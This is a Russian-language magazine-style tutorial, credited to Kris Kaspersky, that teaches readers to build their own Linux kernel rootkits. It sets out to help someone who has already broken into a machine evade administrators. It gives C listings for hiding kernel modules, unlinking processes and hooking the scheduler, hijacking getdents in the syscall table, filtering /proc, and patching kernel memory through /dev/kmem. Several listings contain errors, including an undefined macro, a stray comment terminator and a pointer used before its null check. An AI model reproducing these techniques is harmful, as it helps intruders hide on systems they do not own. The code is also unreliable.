Прятки в Linux

Автор: (c)Крис Касперски ака мыщъх

Простым и доходчивым языком мы расскажем, как спрятать свои файлы, процессы и сетевые соединения под осью типа Linux с ядрами версий 2.4 - 2.6, обобщая опыт хакерских атак нескольких последних лет. Это не руководство по настройке adore, которых пруд пруди в сети, это - самоучитель по созданию собственных rootkit'ов, намного более крутых, надежных и неуловимых, чем adore и knark, вместе взятые.

Введение

Проникнуть на атакующую машину - это еще не все! Необходимо спрятать свои файлы, процессы и сетевые соединения, иначе придет админ и выбросит нас из системы напрочь. Этим занимаются adore, knark и другие rootkit'ы, которые легко найти в сети, правда не все из них работают. К тому же, против любого широко распространенного rootkit'а, каким бы хитроумным он ни был, разработаны специальные методы борьбы.

Настоящий хакер тем и отличается от жалкого подобия своих подражателей, что разрабатывает весь необходимый инструментарий самостоятельно или, на худой конец, адаптирует уже существующий. Хотите узнать, как это сделать? Тогда читайте эту статью до конца.

Последствия adore 0.42

Рисунок 1. Последствия adore 0.42, запущенного из-под KNOPPIX 3.7 LiveCD.

Модуль раз, модуль два...

Подавляющее большинство методик стелсирования работает на уровне ядра, пристыковываясь к нему в виде загружаемого модуля (Loadable Kernel Module или сокращенно LKM). В программировании модулей нет ничего сложного, особенно для старых ядер с версией 2.4.

Исходный текст простейшего модуля выглядит так:

// сообщаем компилятору, что это модуль режима ядра
#define MODULE
#define __KERNEL__

// подключаем заголовочный файл для модулей
#include <linux/module.h>

// на многоЦП'шных машинах подключаем еще и smp_lock
#ifdef __SMP__
        #include <linux/smp_lock.h>
#endif

// функция, выполняющая при загрузке модуля
int init_module(void)
{
        // свершилось! мы вошли в режим ядра
        // и теперь можем делать все, что угодно!

        ...

        // мяукнем что-нибудь
        printk("\nWOW! Our module has been loaded!\n");

        // успешная инициализация
        return(0);
}

// функция, выполняющаяся при выгрузке модуля
void cleanup_module(void)
{
        // мяукнем что-нибудь
        printk("\nFuck! Our module has been unloaded\n");
}

// пристыковываем лицензию, по которой распространяется
// данный файл; если этого не сделать, модуль успешно
// загрузится, но операционная система выдаст warning,
// сохраняющийся в логах и привлекающий внимание админов
MODULE_LICENSE("GPL");

Листинг 1. Скелет простейшего модуля для ядер с версией 2.4.

Начиная с версии 2.6, в ядре произошли значительные изменения и теперь программировать приходится так:

#ifdef LINUX26
        static int __init my_init()
#else
        int init_module()
#endif

#ifdef LINUX26
        static void __exit my_cleanup()
#else
        int cleanup_module()
#endif

#ifdef LINUX26
        module_init(my_init);
        module_exit(my_cleanup);
#endif

Листинг 2. Скелет простейшего модуля для ядер с версией 2.6.

За подробностями обращайтесь к man'у ("man –k module"), официальной документации (/usr/src/linux/Documentation/modules.txt) или книге "Linux kernel internails", которую легко найти в Осле. Как бы там ни было, только что написанный модуль необходимо откомпилировать:
"gcc -c my_module.c -o my_module.o"
(настоятельно рекомендуется задействовать оптимизацию, добавив ключ -O2 или -O3), а затем загрузить внутрь ядра: "insmod my_module.o". Загружать модули может только root. Не спрашивайте меня, как его получить - это тема отдельного разговора. Чтобы модуль автоматически загружался вместе с операционной системой, добавьте его в файл /etc/modules.

Команда "lsmod" (или "dd if=/proc/modules bs=1") отображает список загруженных модулей, а "rmmod my_module" выгружает модуль из памяти. Обратите внимание на отсутствие расширения в последнем случае.

Module                  Size  Used by    Tainted: P
my_module                240   0  (unused)
parport_pc             25128   1  (autoclean)
lp                      7460   0
processor               9008   0  [thermal]
...
fan                     1600   0  (unused)
button                  2700   0  (unused)
rtc                     7004   0  (autoclean)
BusLogic               83612   2  (autoclean)
ext3                   64388   1  (autoclean)

Листинг 3. Список модулей, выданный командой lsmod. Строка с нашим модулем выделена полужирным шрифтом.

Неожиданное появление новых модулей всегда настораживает админов, поэтому прежде чем приступать к боевым действиям, мы должны как следует замаскироваться. Автору известно три способа маскировки:

Вся информация о модуле хранится в структуре module info, содержащейся внутри системного вызова sys_init_module(). Подготовив модуль к загрузке и заполнив module info надлежащим образом, он передает управление нашей функции init_module (см. "man init_module"). Любопытная особенность ядра - безымянные модули без референсов не отображаются! Чтобы удалить модуль из списка, достаточно обнулить поля name и refs. Это легко. Определить адрес самой module info намного сложнее. Ядро не заинтересовано сообщать его первому встречному хакеру и приходится действовать исподтишка. Исследуя мусор. оставшийся в регистрах на момент передачи управления init_module, Solar Designer обнаружил, что в одном из них содержится указатель на... module info! В его версии ядра это был регистр EBX, в иных версиях он может быть совсем другим или даже вовсе никаким. К тому же, существует специальная заплатка для старых ядер, затыкающая эту лазейку, правда, далеко не у всех она установлена. Впрочем, эффективный адрес module info легко установить дизассемблированием. Точнее, не адрес module info (память под него выделяется динамически), а адрес машинной инструкции, ссылающейся на module info. Правда, в каждой версии ядра он будет своим...

Простейший пример маскировки выглядит так (кстати, в PHRACK'e опечатка: "ref" вместо "refs"):

int init_module()
{
        register struct module *mp asm("%ebx"); // подставьте сюда регистр,
                                                // в котором ваше ядро держит
                                                // адрес module info

        *(char *)mp->name = 0; // затираем имя модуля
        mp->size = 0; // затираем размер
        mp->refs = 0; // затираем референсы
}

Листинг 4. Маскировка модуля методом Solar'a Designer'a.

Неправильное определение адреса module info, скорее всего, уронит ядро системы или заблокирует просмотр списка модулей, что сразу же насторожит администратора (см. рис 2). Но у нас есть в запасе еще один вариант.

Просматриваем список установленных модулей, находим из них самый ненужный, выгружаем его из памяти, и загружаем свой - с таким же точно именем. Если нам повезет, администратор ничего не заметит...

Последствия маскировки модуля

Рисунок 2. Последствия маскировки модуля методом Solar'a Designer'a - команды insmod/lsmod/rmmod больше не работают.

Исключение процесса из списка задач

Перечень всех процессов хранится внутри ядра в виде двунаправленного списка task_ struct, определение которого можно найти в файле linux/sched.h. next_task указывает на следующий процесс в списке, prev_task – на предыдущий. Физически task_struct содержится внутри PCB-блоков (Process Control Block), адрес которых известен каждому процессу. Переключение контекста осуществляется планировщиком (scheduler), который определяет - какой процесс будет выполняется следующим (см. рис 3). Если мы исключим наш процесс из списка, он автоматически исчезнет из списка процессов /proc, но больше никогда не получит управление, что в наши планы, вообще-то, не входит.

Организация процессов в Линухе

Рисунок 3. Организация процессов в Линухе.

Просматривая список процессов, легко обнаружить, что в нем отсутствует процесс, PID которого равен нулю. А ведь такой процесс (точнее - псевдопроцесс) есть! Он создается операционной системой для подсчета загрузки ЦП и прочих служебных целей.

Допустим, нам необходимо скрыть процесс с идентификатором 1901. Исключаем его из двунаправленного списка, склеивая между собой поля next_task/prev_task двух соседних процессов. Подцепляем наш процесс к процессу с нулевым PID'ом, оформляя себя как материнский процесс (за это отвечает поле p_pptr) и... модифицируем код планировщика так, чтобы родитель процесса с нулевым PID'ом хотя бы эпизодически получал управление (см. рис.4). Если необходимо скрыть более одного процесса, то их можно объединить в цепочку, используя поле p_pptr или любое другое реально незадействованное поле.

Удаление процесса из двунаправленного списка процессов

Рисунок 4. Удаление процесса из двунаправленного списка процессов.

Исходный код планировщика содержится в файле “/usr/src/linux/kernel/sched.c”. Нужный нам фрагмент легко найти по ключевому слову "goodness" (имя функции, определяющей "значимость" процесса в глазах планировщика). В различных ядрах он выглядит по-разному. Например, моя версия реализована так:

c = -1000; // начальное значение "веса"

// ищем процесс с наибольшим "весом" в очереди исполняющихся процессов
while (p != &init_task)
{
        // определяем "вес" процесса в глазах планировщика
        // (т.е. степень его нужды в процессорном времени)
        weight = goodness(prev, p);

        // выбираем процесс, сильнее всех нуждающийся в процессорном времени
        // для процессоров с одинаковым "весом" используем поле prev
        if (weight > c)
        {
                c = weight; next = p;
        }

        p = p->next_run;
}

if (!c)
{
        // все процессы выработали свои кванты, начинаем новую эпоху...
        // ...
        // хорошее место, чтобы добавить передачу управления на замаскированный процесс
        // ...
}

Листинг 5. Сердце планировщика.

Процедура внедрения в планировщик осуществляется по стандартной схеме:

  1. Сохраняем затираемые инструкции в стеке;
  2. Вставляем команду перехода на нашу функцию, распределяющую процессорные кванты нулевого процесса среди скрытых процессов;
  3. Выполняем ранее сохраненные инструкции;
  4. Возвращаем управление функции-носителю.

Простейшая программная реализация выглядит так:

/*
        DoubleChain, a simple function hooker
        by Dark-Angel <Dark0@angelfire.com>
*/


#define __KERNEL__
#define MODULE
#define LINUX
#include <linux/module.h>
#define CODEJUMP 7
#define BACKUP 7

/*
The number of the bytes to backup is variable (at least 7),
the important thing is never break an istruction
*/


static char backup_one[BACKUP + CODEJUMP] = "\x90\x90\x90\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0";
static char jump_code[CODEJUMP] = "\xb8\x90\x90\x90\x90\xff\xe0";

#define FIRST_ADDRESS 0xc0101235 //Address of the function to overwrite
unsigned long *memory;

void cenobite(void) {
        printk("Function hooked successfully\n");
        asm volatile("mov %ebp,%esp;popl %esp;jmp backup_one");

        /*
        This asm code is for stack-restoring. The first bytes of a function
        (Cenobite now) are always for the parameters pushing.Jumping away the
        function can't restore the stack, so we must do it by hand.
        With the jump we go to execute the backupped code and then we jump in
        the original function.
        */

}

int init_module(void) {
        *(unsigned long *)&jump_code[1] = (unsigned long)cenobite;

        *(unsigned long *)&backup_one[BACKUP + 1] = (unsigned long)(FIRST_ADDRESS + BACKUP);

        memory = (unsigned long *)FIRST_ADDRESS;
        memcpy(backup_one, memory, CODEBACK);
        memcpy(memory, jump_code, CODEJUMP);
        return 0;
}

void cleanup_module(void) {
        memcpy(memory, backup_one, BACKUP);
}

Листинг 6. Процедура-гарпун, вонзающаяся в тело планировщика.

Поскольку машинное представление планировщика зависит не только он версии ядра, но и от ключей компиляции, атаковать произвольную систему практически нереально. Предварительно необходимо скопировать ядро на свою машину и дизассемблировать его, а после разработать подходящую стратегию внедрения.

Если атакуемая машина использует штатное ядро, мы можем попробовать опознать его версию по сигнатуре, используя заранее подготовленную стратегию внедрения. Далеко не все админы перекомпилируют свои ядра, поэтому такая тактика успешно работает. Впервые она была представлена на европейской конференции Black Hat в 2004 году, электронная презентация которой находится в файле http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-butler.pdf. По этому принципу работают многие rootkit'ы и, в частности, Phantasmagoria.

Перехват системных вызовов

Помните MS-DOS? Там стелсирование осуществлялось путем подмены прерываний int 13h/int 21h. В Linux для той же цели используется перехват системных вызовов (system call или, сокращенно, syscall). Для сокрытия процессов и файлов достаточно перехватить всего один низ них - getdents, на которую опирается всем известная readdir, которая в полном согласии со своим именем читает содержимое директорий (и директории /proc в том числе! Другого легального способа просмотра списка процессов под Linux, в общем-то, и нет). Функция-перехватчик садится поверх getdents и просматривает возвращенный ею результат, "выкусывая" из него все "лишнее", то есть работает как фильтр.

Сетевые соединения стелсируются аналогичным образом (они монтируются на /proc/net). Чтобы замаскировать сниффер, необходимо перехватить системный вызов ioctl, подавляя PROMISC-флаг. А перехват системного вызова get_kernel_symbols позволяет замаскировать LKM-модуль так, что его никто не найдет.

Звучит заманчиво. Остается только реализовать это на практике. Ядро экспортирует переменную extern void sys_call_table, содержащую массив указателей на syscall'ы, каждая ячейка которого содержит либо действительный указатель на соответствующий syscall, либо NULL, свидетельствующий о том, что данный системный вызов не реализован.

Просто объявите в своем модуле переменную *sys_call_table[] и тогда все системные вызовы окажутся в ваших руках. Имена известных syscall'ов перечислены в файле /usr/include/sys/syscall.h. В частности, sys_call_table[SYS_getdents] возвращает указатель на getdents.

Простейший пример перехвата выглядит так (за более подробной информацией обращайтесь к статье "Weakening the Linux Kernel", опубликованной в 52 номере PHRACK'а):

// указатель на таблицу системных вызовов
extern void *sys_call_table[];

// указатели на старые системные вызовы
int (*o_getdents) (uint, struct dirent *, uint);

// перехват!
int init_module(void)
{
        // получаем указатель на оригинальный
        // системный вызов SYS_getdents
        // и сохраняем его в переменной o_getdents

        o_getdents = sys_call_table[SYS_getdents];

        // заносим указатель на функцию перехватчик
        // (код самого перехватчика для экономии здесь не показан)

        sys_call_table[SYS_getdents] = (void *) n_getdents;

        // возвращаемся
        return 0;
}

// восстановление оригинальных обработчиков
void cleanup_module(void)
{
        sys_call_table[SYS_getdents] = o_getdents;
}

Листинг 7. Техника перехвата системных вызовов.

По такому принципу работает подавляющее большинство rootkit'ов, правда, попав на неизвестное ядро, часть из них со страшным грохотом падает, а часть просто прекращает работу, что и не удивительно! Ведь раскладка системных вызовов меняется от ядра к ядру!

Последствия неудачного перехвата системных вызовов

Рисунок 5. Последствия неудачного перехвата системных вызовов.

Перехват запросов к файловой системе

Ядро экспортирует переменную proc_root - корневой узел (root inode) виртуальной файловой системы proc_root, традиционно монтируемой на директорию /proc. При желании мы можем установить поверх нее свой собственный фильтр-обработчик, скрывающий хакерские процессы от чужих глаз. В отличии от системных вызовов, перехват переменной proc_root не чувствителен к версии ядра, а это уже преимущество!

Простейший перехватчик может выглядеть так (за более подробной информацией обращайтесь к статье "Sub proc_root Quando Sumus", опубликованной в 3Ah номере PHRACK'a):

// глобальный указатель на оригинальную filldir-функцию
filldir_t real_filldir;

static int new_filldir_root (void *__buf, const char *name, int namlen, off_t offset, ino_t ino)
{
        // анализируем каждое имя в директории,
        // если это имя того модуля/процесса/файла/сетевого соединения,
        // которое мы хотим скрыть, возвращаем нуль,
        // в противном случае передаем управление оригинальной
        // filldir-функции

        if (isHidden(name)) return 0;
        return real_filldir (__buf, name, namlen, offset, ino);
}

// новая функция readdir
int new_readdir_root (struct file *a, void *b, filldir_t c)
{
        // инициализируем указатель на оригинальную filldir-функцию,
        // вообще-то, это необязательно делать каждый раз, просто нам так проще...

        real_filldir = c;
        return old_readdir_root (a, b, new_filldir_root);
}

// устанавливаем свой собственный фильтр
proc_root.FILE_OPS->readdir = new_readdir_root;

Листинг 8. Новый фильтр для файловой системы proc_root.

Когда модули недоступны...

Для борьбы с LKM-rootkit'ами некоторые админы компилируют ядро без поддержки загружаемых модулей и удаляют файл System.map, лишая нас таблицы символов. А без нее хрен что найдешь. Но хакеры выживают даже в этих суровых условиях...

Идеология UNIX выгодно отличается от Windows тем, что любая сущность (будь то устройство, процесс или сетевое соединение) монтируется на файловую систему, подчинясь общим правилам. Не избежала этой участи и оперативная память, представленная "псеводустройствами" /dev/mem (физическая память до виртуальной трансляции) и /dev/kmem (физическая память после виртуальной трансляции). Манипулировать с данными устройствами может только root, однако спускаться на уровень ядра ему необязательно, а значит поддержка модульности нам не нужна!

Следующие функции демонстрируют технику чтения/записи ядерной памяти с прикладного уровня:

// чтение данных из /dev/kmem
static inline int rkm(int fd, int offset, void *buf, int size)
{
        if (lseek(fd, offset, 0) != offset) return 0;
        if (read(fd, buf, size) != size) return 0;
        return size;
}

// запись данных в /dev/kmem
static inline int wkm(int fd, int offset, void *buf, int size)
{
        if (lseek(fd, offset, 0) != offset) return 0;
        if (write(fd, buf, size) != size) return 0;
        return size;
}

Листинг 9. Чтение/запись в/из /dev/kmem.

Остается только найти во всем этом мусоре таблицу системных вызовов. Да как же мы ее найдем, если никакой символьной информации у нас нет?! Без паники! Нам помогут центральный процессор и машинный код обработчика прерывания INT 80h, которое этими системными вызовами, собственно говоря, и заведует.

Его дизассемблерный листинг в общем случае выглядит так:

0xc0106bc8 <system_call>:        push       %eax
0xc0106bc9 <system_call+1>:      cld
0xc0106bca <system_call+2>:      push       %es
0xc0106bcb <system_call+3>:      push       %ds
0xc0106bcc <system_call+4>:      push       %eax
0xc0106bcd <system_call+5>:      push       %ebp
0xc0106bce <system_call+6>:      push       %edi
0xc0106bcf <system_call+7>:      push       %esi
0xc0106bd0 <system_call+8>:      push       %edx
0xc0106bd1 <system_call+9>:      push       %ecx
0xc0106bd2 <system_call+10>:     push       %ebx
0xc0106bd3 <system_call+11>:     mov        $0x18,%edx
0xc0106bd8 <system_call+16>:     mov        %edx,%ds
0xc0106bda <system_call+18>:     mov        %edx,%es
0xc0106bdc <system_call+20>:     mov        $0xffffe000,%ebx
0xc0106be1 <system_call+25>:     and        %esp,%ebx
0xc0106be3 <system_call+27>:     cmp        $0x100,%eax
0xc0106be8 <system_call+32>:     jae        0xc0106c75 <badsys>
0xc0106bee <system_call+38>:     testb      $0x2,0x18(%ebx)
0xc0106bf2 <system_call+42>:     jne        0xc0106c48 <tracesys>
0xc0106bf4 <system_call+44>:     call       *0xc01e0f18(,%eax,4) <-- that's it
0xc0106bfb <system_call+51>:     mov        %eax,0x18(%esp,1)
0xc0106bff <system_call+55>:     nop

Листинг 10. Фрагмент дизассемблерного листинга обработчика прерывания INT 80h.

Смотрите - по адресу 0C0106BF4h расположена команда CALL, непосредственным аргументом которой является... указатель на таблицу системных вызовов! Адрес команды CALL может меняться от одного ядра к другому, или это даже может быть совсем не CALL – в некоторых ядрах указатель на таблицу системных вызовов передается через промежуточный регистр командой MOV. Короче, нам нужна команда, одним из аргументов который является непосредственный операнд X > 0C000000h. Естественно, чтобы его найти потребуется написать простенький дизассемблер (звучит страшнее, чем выглядит) или найти готовый движок в сети. Там их до... ну, в-общем, много.

А как найти адрес обработчика INT 80h в файле /dev/kmem? Просто спросите об этом процессор - он скажет. Команда SIDT возвращает содержимое таблицы дескрипторов прерываний (Interrupt Descriptor Table), восьмидесятый элемент с краю и есть наш обработчик!

Ниже приведен фрагмент кода, определяющего позицию таблицы системных вызовов в /dev/kmem (полная версия содержится в статье "Linux on-the-fly kernel patching without LKM" из 3Ah номера PHRACK'а):

// анализируем первые 100 байт обработчика
#define CALLOFF 100

main()
{
        unsigned sys_call_off;
        unsigned sct;
        char sc_asm[CALLOFF], *p;

        // читаем содержимое таблицы прерываний
        asm ("sidt %0" : "=m" (idtr));
        printf("idtr base at 0x%X\n", (int)idtr.base);

        // открываем /dev/kmem
        kmem = open("/dev/kmem", O_RDONLY);
        if (kmem < 0) return 1;

        // считывает код обработчика INT 80h из /dev/kmem
        readkmem(&idt, idtr.base + 8 * 0x80, sizeof(idt));
        sys_call_off = (idt.off2 << 16) | idt.off1;
        printf("idt80: flags=%X sel=%X off=%X\n",
                (unsigned)idt.flags, (unsigned)idt.sel, sys_call_off);

        // ищем косвенный CALL с непосредственным операндом
        // код самой функции dispatch здесь не показан

        dispatch(indirect call) */
        readkmem(sc_asm, sys_call_off, CALLOFF);
        p = (char *)memmem (sc_asm, CALLOFF, "\xff\x14\x85", 3);
        sct = *(unsigned *)(p + 3);
        if (p)
        {
                printf("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p);
        }

        close(kmem);
}

Листинг 11. Поиск обработчика INT 80h внутри /dev/kmem.

Просмотр /dev/mem в hex-редакторе

Рисунок 6. Просмотр /dev/mem в hex-редакторе.

Прочие методы борьбы

Консольные версии утилит типа ps или top легко обмануть с помощью длинной цепочки пробелов или символов возврата строки, затирающих оригинальное имя. Конечно, опытного админа так не проведешь, да и против KDE-мониторов такой прием совершенно бессилен, однако можно попробовать замаскироваться под какой-нибудь невинный процесс наподобие vi или bash. Правда и здесь все не так просто! Ну кто в наше время работает в vi? И откуда взялась "лишняя" оболочка? Наблюдательный админ это сразу заметит. А может и нет... у многих из нас сразу запущенно несколько копий оболочек - кто их считает! Еще можно внедриться в какой-нибудь пользовательский процесс при помощи ptrace (см. мою статью в журнале "Хакер", описывающую отладку под UNIX) – хрен там нас найдешь.

На худой конец, можно вообще отказаться от маскировки. Процессов в системе много. За всеми и не уследишь. Главное - периодически расщеплять свой процесс на два и прибивать оригинал. Этим мы ослепляем утилиту top, сообщающую админу, сколько времени отработал тот или иной процесс.

Заключение

Настоящие информационные войны только начинаются... Хакеры сидят в подполье и оттачивают свое мастерство. Количество дыр нарастает как снежный ком, операционные системы и серверные приложения латаются чуть ли не каждый день, стремительно увеличиваясь в размерах и сложности. Уже и разработчики не знают - сколько в них файлов и кто за что отвечает. Затеряться в этих условиях становится не просто, а очень просто!

Что читать